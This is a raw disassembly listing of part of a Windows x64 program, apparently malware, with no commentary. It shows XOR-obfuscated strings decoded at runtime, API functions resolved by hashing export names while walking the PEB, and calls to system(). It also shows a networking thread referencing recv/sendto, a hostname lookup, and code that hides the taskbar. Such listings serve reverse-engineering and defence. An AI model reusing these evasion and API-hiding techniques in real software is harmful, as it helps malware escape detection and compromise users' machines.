movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088910]
movups xmmword [rsp + 0x120], xmm1
movups xmm0, xmmword [0x140088920]
movups xmmword [rsp + 0x130], xmm0
movsd xmm0, qword [0x140088930]
movsd qword [rsp + 0x140], xmm0
movzx eax, word [0x140088938]
mov word [rsp + 0x148], ax
movzx eax, byte [0x14008893a]
mov byte [rsp + 0x14a], al
mov r8d, ebx
cmp r12d, 2
jl 0x14000b1e9
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000b0c4
cmp r8d, 0x3b
jge 0x14000b230
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x14000b200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000b2c6
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000b2c6
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r15 + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x6d28a18
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000b2c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000b2a0
cmp r8d, 0xe0e94a19
je 0x14000b2cb
test r10d, r10d
jne 0x14000b280
mov rax, qword [rax]
jmp 0x14000b250
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0x110]
call rdx
movups xmm0, xmmword [0x140088bc8]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088bd8]
movups xmmword [rsp + 0x120], xmm1
mov eax, dword [0x140088be8]
mov dword [rsp + 0x130], eax
mov r8d, ebx
cmp r12d, 2
jl 0x14000b468
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000b343
cmp r8d, 0x24
jge 0x14000b4b0
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14000b480
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000b546
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000b546
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r15 + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x46cf6c7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000b541
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000b520
cmp r8d, 0xddc3a46
je 0x14000b54b
test r10d, r10d
jne 0x14000b500
mov rax, qword [rax]
jmp 0x14000b4d0
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0x110]
call rdx
movups xmm0, xmmword [0x140088aa0]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088ab0]
movups xmmword [rsp + 0x120], xmm1
mov eax, dword [0x140088ac0]
mov dword [rsp + 0x130], eax
mov r8d, ebx
cmp r12d, 2
jl 0x14000b6e8
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000b5c3
cmp r8d, 0x24
jge 0x14000b730
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14000b700
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000b7c6
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000b7c6
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r15 + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xa08ce0b1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000b7c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000b7a0
cmp r8d, 0x585d7090
je 0x14000b7cb
test r10d, r10d
jne 0x14000b780
mov rax, qword [rax]
jmp 0x14000b750
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0x110]
call rdx
lea rcx, [0x140088518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, reloc.WS2_32.dll_recv
call fcn.140074b04
mov dword [rax], reloc.WS2_32.dll_sendto
lea rcx, [0x140004fb0]
mov qword [rax + 8], rcx
mov qword [rsp + 0x258], rax
lea rcx, [rsp + 0x1d8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140011920]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x1d0], rax
test rax, rax
je 0x14000cc51
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2a0], xmm0
mov qword [rsp + 0x2b0], rax
mov eax, dword [0x140088bfc]
mov dword [rsp + 0x98], eax
movzx ecx, word [0x140088c00]
mov word [rsp + 0x9c], cx
movzx eax, byte [0x140088c02]
mov byte [rsp + 0x98], gethostname
xor byte [rsp + 0x99], 0x36
xor byte [rsp + 0x9a], 0x37
xor byte [rsp + 0x9b], 0x38
xor cl, 0x39
mov byte [rsp + 0x9c], cl
xor byte [rsp + 0x9d], 0x3a
xor al, 0x3b
mov byte [rsp + 0x9e], al
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rax, [rsp + 0x98]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b900
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x110]
call fcn.140010150
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x600]
call fcn.14001b080
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3e0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.v_fkoPT_SJMc_t_f_a]
movups xmmword [rsp + 0x1b0], xmm0
mov eax, dword [0x140088cf8]
mov dword [rsp + 0x1c0], eax
movzx eax, word [0x140088cfc]
mov word [rsp + 0x1c4], ax
movzx eax, byte [0x140088cfe]
mov byte [rsp + 0x1c6], al
mov r8d, ebx
cmp r12d, 2
jl 0x14000bae5
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b9c0
cmp r8d, 0x17
jge 0x14000bb30
movsxd rax, r8d
lea r9, [rsp + 0x1b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14000bb00
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x3e0]
call fcn.14000d5a0
nop
mov r8, qword [rsp + 0x2a8]
mov rdx, qword [rsp + 0x2a0]
sub r8, rdx
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x3e8]
call fcn.14000eac0
test rax, rax
jne 0x14000bb9d
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x3e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.vqtm_]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088d80]
movups xmmword [rsp + 0x120], xmm1
movsd xmm0, qword [0x140088d90]
movsd qword [rsp + 0x130], xmm0
movzx eax, word [0x140088d98]
mov word [rsp + 0x138], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14000bd35
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000bc10
cmp r8d, 0x2a
jge 0x14000bd80
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x14000bd50
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], rbx
lea rax, [rsp + 0x110]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000bda6
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x230]
call fcn.140010150
nop
movups xmm0, xmmword [0x140088ca8]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088cb8]
movups xmmword [rsp + 0x120], xmm1
mov eax, dword [0x140088cc8]
mov dword [rsp + 0x130], eax
movzx eax, byte [0x140088ccc]
mov byte [rsp + 0x134], al
mov r8d, ebx
cmp r12d, 2
jl 0x14000bf55
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000be30
cmp r8d, 0x25
jge 0x14000bfa0
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14000bf70
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], rbx
lea rax, [rsp + 0x110]
inc r14
cmp byte [rax + r14], 0
jne 0x14000bfc3
mov r8, r14
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x188]
call fcn.140010150
nop
mov rcx, qword [rsp + 0x198]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
mov rdx, qword [rsp + 0x240]
cmp rax, rdx
jb 0x14000d1c9
lea r9, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 0x10
cmovae r9, qword [rsp + 0x188]
lea rax, [rsp + 0x230]
cmp qword [rsp + 0x248], 0x10
cmovae rax, qword [rsp + 0x230]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x1f0]
call fcn.140010fe0
nop
xor edx, edx
lea rcx, str.Shell_traywnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov r15, rax
xor r9d, r9d
lea r8, str.Shell_SecondaryTrayWnd
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
mov qword [rsp + 0x1a8], rax
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
lea rsi, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 0x10
cmovae rsi, qword [rsp + 0x1f0]
mov rcx, qword gs:[0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000c14e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14000c14e
mov edx, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0xbc1062ff
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c145
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c120
cmp r8d, 0x1671375e
je 0x14000c156
test r10d, r10d
mov edx, dword [r11 + 0x20]
jne 0x14000c100
mov rax, qword [rax]
jmp 0x14000c0d0
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx r8d, word [rdx + r10*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
mov rcx, rsi
call rax
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x140088c98]
mov qword [rsp + 0x50], rax
cmp r12d, 2
jl 0x14000c297
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movd xmm5, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14000c2d0
lea r9, [rsp + 0x50]
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000c2a0
lea rcx, [rsp + 0x50]
call fcn.140004e90
test al, al
je 0x14000c8b6
call fcn.140004800
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0xa0]
call fcn.14000d200
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14000c452
cmp r12d, 2
jl 0x14000c40d
movdqa xmm4, xmmword [0x140091590]
movd xmm5, r13d
movd xmm6, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
